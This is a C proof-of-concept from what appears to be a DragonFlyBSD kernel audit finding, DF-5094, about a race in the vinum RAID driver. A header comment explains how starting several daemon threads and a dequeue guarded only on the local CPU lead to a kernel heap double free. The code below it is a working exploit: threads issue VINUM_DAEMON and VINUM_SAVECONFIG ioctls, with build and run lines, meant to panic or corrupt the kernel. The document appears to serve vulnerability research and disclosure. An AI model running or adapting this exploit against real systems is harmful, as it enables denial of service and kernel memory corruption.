⬢ DragonFlyBSD Kernel Audit
DF-5094 / df5094_multidaemon.c
← back to finding ↓ download raw
/*
 * DF-5094 -- vinum: unbounded daemon instantiation -> concurrent daemonq
 * consumers -> kernel heap double-free.
 *
 * Root cause (sys/dev/raid/vinum/):
 *  - vinumioctl.c:296  case VINUM_DAEMON: vinum_daemon();   -- no check that a
 *    daemon is already running; every call spins up another daemon thread.
 *  - vinumdaemon.c:73  daemonpid = curproc->p_pid;          -- "single instance"
 *    enforced only by this pid stamp, and
 *  - vinumdaemon.c:83  the ouster check runs ONLY after tsleep() returns --
 *    a daemon that stays busy in the inner `while (daemonq != NULL)' loop
 *    never re-checks, and threads of ONE process share p_pid, so the check
 *    can never oust them anyway.
 *  - vinumdaemon.c:89-94 the dequeue is "protected" by crit_enter()/crit_exit()
 *    alone, which on DragonFly masks interrupts on the local CPU only; it does
 *    NOT serialize two threads running on two different CPUs.
 *
 * Consequence: two or more daemon threads dequeue THE SAME daemonq element
 * (both read `request = daemonq' before either store lands) and both reach
 * vinumdaemon.c:177 `Free(request)'  ==>  kfree() of the same M_DEVBUF chunk
 * twice  ==>  double free / heap freelist corruption.  The same interleave
 * also runs recover_io()/close_drive() twice per queued request.
 *
 * This PoC (run as root -- the vinum superdevice /dev/vinum/control is
 * 0600 root:wheel, vinum.c:114):
 *   - opens /dev/vinum/control,
 *   - starts 3 threads that issue VINUM_DAEMON (each becomes a daemon; the
 *     ioctl never returns -- they share our pid so none is ever ousted),
 *   - starts 4 threads spamming VINUM_SAVECONFIG (each call queues one
 *     daemonq element via save_config(), vinumio.c:560, and kicks the
 *     daemons with wakeup(&vinum_daemon), vinumdaemon.c:246),
 *   - lets them fight over the queue for RUNTIME seconds.
 *
 * Success criterion: kernel panic (double free / slab freelist corruption /
 * "memory duplicated" style trap) or dead guest; on a serialized queue the
 * process just runs to completion and exits 0.
 *
 * Build:  cc -O2 -pthread -o df5094_multidaemon df5094_multidaemon.c
 * Run:    ./df5094_multidaemon 90
 */
#include <sys/ioctl.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define	VINUMSAVECONFIG	_IOW('F', 72, int)
#define	VINUMDAEMON	_IOC(0, 'F', 92, 0)
#define	VINUMSETDAEMON	_IOW('F', 94, int)
#define	DAEMON_NOUPDATE	4

static int fd = -1;
static volatile unsigned long produced;
static volatile int stopping;

static void *
daemon_thread(void *arg)
{
	/*
	 * This ioctl parks the thread in vinum_daemon()'s while(1) loop
	 * forever (only daemonrq_return gets it out).  It never returns on
	 * a live kernel -- if it does, say so.
	 */
	ioctl(fd, VINUMDAEMON);
	fprintf(stderr, "daemon thread %p RETURNED (unexpected)\n", arg);
	return NULL;
}

static void *
producer_thread(void *arg)
{
	int one = 1;

	while (!stopping) {
		if (ioctl(fd, VINUMSAVECONFIG, &one) == 0)
			produced++;
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	const char *devs[] = { "/dev/vinum/control", "/dev/vinum/Control", NULL };
	int runtime = argc > 1 ? atoi(argv[1]) : 90;
	pthread_t daemons[3], producers[4];
	int i, opts;

	for (i = 0; devs[i] != NULL; i++) {
		fd = open(devs[i], O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0) {
		perror("open vinum superdevice");
		return 2;
	}
	printf("opened %s, spawning 3 daemons + 4 saveconfig producers "
	    "for %ds\n", devs[i], runtime);
	fflush(stdout);

	opts = DAEMON_NOUPDATE;
	ioctl(fd, VINUMSETDAEMON, &opts);	/* keep it a pure no-op race */

	for (i = 0; i < 3; i++)
		pthread_create(&daemons[i], NULL, daemon_thread, (void *)(long)i);
	usleep(200000);				/* let them park in the daemon */
	for (i = 0; i < 4; i++)
		pthread_create(&producers[i], NULL, producer_thread, (void *)(long)i);

	for (i = 0; i < runtime; i++) {
		sleep(1);
		if ((i % 10) == 9) {
			printf("t+%02ds: %lu saveconfig elements queued\n",
			    i + 1, produced);
			fflush(stdout);
		}
	}
	stopping = 1;
	for (i = 0; i < 4; i++)
		pthread_join(producers[i], NULL);
	printf("done: %lu elements queued; daemons still running in-kernel "
	    "(expected)\n", produced);
	return 0;
}